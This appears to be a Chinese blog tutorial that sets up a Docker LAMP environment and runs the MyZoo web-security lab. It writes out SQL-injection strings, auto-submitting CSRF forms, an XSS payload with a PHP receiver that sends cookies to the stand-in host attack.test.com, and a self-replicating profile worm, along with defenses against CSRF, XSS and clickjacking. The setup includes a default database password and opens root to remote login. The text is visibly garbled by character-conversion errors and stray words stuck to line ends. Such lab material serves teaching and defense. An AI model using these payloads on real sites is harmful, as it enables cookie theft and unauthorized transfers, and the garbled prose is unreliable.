docker環境下的的web安全實踐

docker安裝lamp環境

docker安裝lamp環境(該docker:lincode ubuntu14.04,php5.5,mysql,約372mb):javascript

docker search lamp
# 選擇lincode下載 下載速度較快 穩定
docker pull linode/lamp
#鏡像端口、名稱、文件夾映射均可以配置,一經配置,修改比較麻煩,建議一次配好
docker run -it -p 80:80 -p 3306:3306 -p 443:443 --name lamp linode/lamp /bin/bash
# 下載完成看一下配置好的鏡像
docker images
#用 docker rmi 鏡像id 能夠刪除

image.png

#啓動鏡像 stop/restart
sudo docker start lamp
#查看運行中的鏡像
docker ps -a
#shell進入鏡像
sudo docker exec -it lamp /bin/bash

若是後期須要更新配置:
修改映射關係的一個例子php

#從容器建立一個新的鏡像,可手動刪除源鏡像
sudo docker commit 964f5db616e6 lamp2
#設置該鏡像的配置
sudo docker run -it -p 80:80 -p 3306:3306 -p 443:443 -v /home/muddyway/下載/myzoo:/var/www/example.com/public\_html/myzoo -v /home/muddyway/下載/attack:/var/www/attack.com/public\_html lamp2 /bin/bash
service apache2 start   
service mysql start
# 能夠經過netstat -pant 命令查看80和3306端口有沒有開啓成功
mysql -u root -p
#密碼:Admin2015
 
#修改root可遠程登陸:
mysql>use mysql;
mysql>update user set host = '%' where user = 'root' and host='127.0.0.1';
 
#修改密碼:
mysql>update user set password=password("your_password") where user='root';
 
#刷新權限
FLUSH PRIVILEGES;
#檢查獲取源更新
apt update
#升級包(可選)
apt upgrade
apt install -y php5-mysql
apt install -y php5-gd
 
#而後重啓apache2:
service apache2 restart
 
#再次確認mysql和apache2有沒有安裝成功:
netstat -pant

#能夠經過下面的命令查看服務器上有哪些php的擴展:
apt-cache search php5-\*

apt-get remove vim-common  
apt-get install vim

安裝phpmyadmincss

apt install phpmyadmin

#安裝過程當中會要求選擇web server:apache2或lighttpd,按空格選擇apache2,按Tab鍵肯定就行。而後會要求輸入密碼,就是安裝mysql的root密碼。
ln -s /usr/share/phpmyadmin /var/www/html

有的人可能沒有html目錄,就把「/html」去掉就行了。
而後在瀏覽器輸入localhost/phpmyadmin,就能夠看見phpmyadmin的登陸界面了。

若是本身須要瞭解https參考,通常主機商提供免費https證書
配置虛擬主機參考html

創建host映射(這一步不是在docker作的,是配置主機與docker的映射):
attack.com是已經創建好的虛擬主機java

sudo vim /etc/hosts
127.0.0.1    attack.com
sudo /etc/init.d/networking restart

開啓apache虛擬主機開關:node

vi /etc/apache2/apache2.conf
#修改 HostnameLookups On

若是php須要調試能夠打開錯誤報告開關(而不是顯示500):mysql

/etc/apache2/apache2.conf
php_flag display_errors on
php_value error_reporting 2039

若是沒有創建docker映射文件夾,須要手動將本身文件拷貝到docker裏apache服務器站點目錄下:web

sudo docker cp /home/muddyway/下載/myzoo/includes/transfer.html 964f5db616e6:/var/www/attack.com/public_html/transfer.html

web安全實踐

視頻
須要myzoo php5版本ajax

開始

sql注入演示,在myzoo中的profile中輸入:sql

', Zoobars=100, Profile='hello

查看源碼,發如今處理$profile參數時,沒有進行防止sql注入的相應的過濾。

$sql = "UPDATE Person SET Profile='$profile' ".
       "WHERE PersonID=$user->id";
123' or 1=1#, 密碼填 123' or 1=1#

css修改,在myzoo中的profile中輸入:

<img src="http://upload-images.jianshu.io/upload_images/688387-7e4ba3815c40a62e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="position:relative;top:-59px;right:-70px;width:34px;height:21px"/>

csrf

創建攻擊網站(localhost):
https://attack.test.com/trans...
image.png
抽獎

#模擬post
<form id="form" method=POST name=transferform 
  action="https://bank.test.com/myzoo/transfer.php" >
<p>Send <input name=zoobars type=hidden value="1" size=5> zoobars</p>
<p>to <input name=recipient type=hidden value="root"></p>
<p>to <input name=submission type=submit value="抽獎"></p>
</form>
#嵌入原頁面
 <iframe name="myframe" style="display:true" src="https://bank.test.com/myzoo/transfer.php" ></iframe> 
#js post提交
<script>

    function _submit(){
        var form = document.getElementById("form");
        form["target"]="myframe";
        form.submit();
        console.log(1);
        console.log(form);
    };
    _submit();
</script>

防護:

  • 1.session token
    session_start();
    提交post後處理邏輯
    $_SESSION["csrf"] = md5(uniqid(mt_rand(), true));
    <input type=hidden name=csrf value="<?php echo $_SESSION["csrf"]?>"/>
  • 2.refer
echo $_SERVER['HTTP_REFERER'];
if ($_SERVER['HTTP_REFERER'] != "https://bank.test.com/myzoo/transfer.php") {
    echo "transfer fail";
  }else{
    echo "transfer pass";
}

使用post方式防護CSRF
使用https防護CSRF

xss

user

<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74:alert(1)>hello</a>

修改 myzoo/user.php源碼

$allowed_tags = 
      '<script><a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
      '<tr><td><th><u><ul><em><span>';
$disallowed = 
  'eval|setTimeout|setInterval|target|'.
  'onAbort|onBlur|onChange|onClick|onDblClick|'.
  'onDragDrop|onFocus|onKeyDown|onKeyPress|'.
  'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
  'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
  'onSelect|onSubmit|onUnload';

profile user查看(容許打開新窗口)

<img src=x onerror=javascript:window.open(\"https://attack.test.com/transfer.php?cookie=\"+document.cookie) />

修改php

<?php 
$cookie = $_GET['cookie'];  
if(isset($cookie)){  
echo 'get cookie: '.$cookie;  
}else{  
echo 'not get cookie';  
}  
?>

防護:
HttpOnly cookie
黑名單、白名單

worm

<span id="hack">
    <script>
        xmlhttp=new XMLHttpRequest();
        xmlhttp.open("POST","https://bank.test.com/myzoo/transfer.php",false);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.send("zoobars=1&recipient=root&submission=Send");

        xmlhttp=new XMLHttpRequest();
        xmlhttp.open("POST","https://bank.test.com/myzoo/index.php",true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        str = "<span id=hack>"
        str += document.getElementById("hack").innerHTML + "</span>";
        str = encodeURIComponent(str);
        str = "profile_submit=Save&profile_update=" + str;
        xmlhttp.send(str);
    </script>
</span>

點擊劫持:

image.png
https://attack.test.com/click.php
三種隱藏元素方法:
display:none
沒有存在過的痕跡
visibility:hidden
有存在過的痕跡,但不見了,點擊沒有效果
opacity:0
有存在過的痕跡,但不見了,點擊有效果

方法1、後臺防護
X-Frame-Options

DENY:禁止iframe
SAMEORIGIN:只容許相同域名下的網頁iframe,同源政策保護
ALLOW-FROM: https://example.com:白名單限制

在transfer.php頁面頭加上,則沒法加載iframe。

header('X-Frame-Options:DENY'); #全部的網頁都不容許加載iframe
header('X-Frame-Options:SAMEORIGIN');#同源網頁能夠加載iframe

方法2、js防護
在transfer.php頁面加上,效果是若是外部網頁加載iframe,則重定位到transfer.php頁面。

<style type="text/css">
  body{display: none;}
</style>
<script type="text/javascript">
  if (self == top) {
    var theBody = document.getElementsByTagName('body')[0];
    theBody.style.display='block';
  }else{
    top.location = self.location;
  }
</script>

ajax
速度快、資源少、異步、請求和接收
1.資源未加載
2.open結束
3.發送成功
4.接收中
5.加載資源成功

XSS注入了javascript腳本,這個腳本就能夠經過ajax獲取用戶信息並經過ajax提交給其餘站點

同源策略corsAccess-Control-Allow-Origin: example.com Access-Control-Request-Method: GET, POST Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin Access-Control-Expose-Headers: Content-Range Access-Control-Max-Age: 3600

相關文章
相關標籤/搜索